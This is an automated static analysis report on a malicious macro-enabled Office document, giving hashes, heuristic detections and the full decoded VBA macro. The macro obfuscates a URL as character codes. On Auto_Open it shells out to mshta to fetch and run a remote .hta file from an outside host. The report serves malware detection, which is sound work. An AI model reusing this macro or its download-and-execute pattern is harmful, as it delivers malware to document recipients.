Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 79283f52435b60d6…

MALICIOUS

Office (OOXML)

9.6 KB First seen: 2021-03-31
MD5: 3e7d604c081ed3ab63ca6cd30c17c324 SHA-1: 5c2158fce231c48173c01729d3825f5649d28ecd SHA-256: 79283f52435b60d6f5f8bc4f4efbbb6a959a93c73141a55a2ca2b6eb287baa5e
128 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (AaYyJa5)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 693 bytes
SHA-256: 13e2fd7dae3cd42f36392dd4367ef38c325c75c23432e7fb3734879cef605abb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
'VBA code protection using: www.excel-pratique.com/en/vba_tricks/vba-obfuscator
Sub Auto_Open()
Dim AaYyJa As Variant
Dim dsseERDY As String
Dim AdYDJa As Integer
AaYyJa = Array(116, 112, 115, 58, 47, 47, 100, 105, 97, 109, 97, 110, 116, 101, 115, 118, 105, 97, 103, 101, 110, 115, 46, 99, 111, 109, 46, 98, 114, 47, 97, 113, 118, 46)
AaYyJa3 = "hta"
dsseERDY = ""
For AdYDJa = 0 To UBound(AaYyJa)
If dsseERDY = "" Then
dsseERDY = Chr(AaYyJa(AdYDJa))
Else
dsseERDY = dsseERDY & Chr(AaYyJa(AdYDJa))
End If
Next
AaYyJa2 = dsseERDY
AaYyJa1 = "hta"" ht"
AaYyJa0 = """ms"
AaYyJa5 = AaYyJa0 + AaYyJa1 + AaYyJa2 + AaYyJa3
Shell (AaYyJa5)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 18432 bytes
SHA-256: 1908f82a8b3530f106a1d1ed6b41dced19a2dc137d1a083b403339dcac015b13

Open this report in the interactive analyzer, or submit your own file for analysis.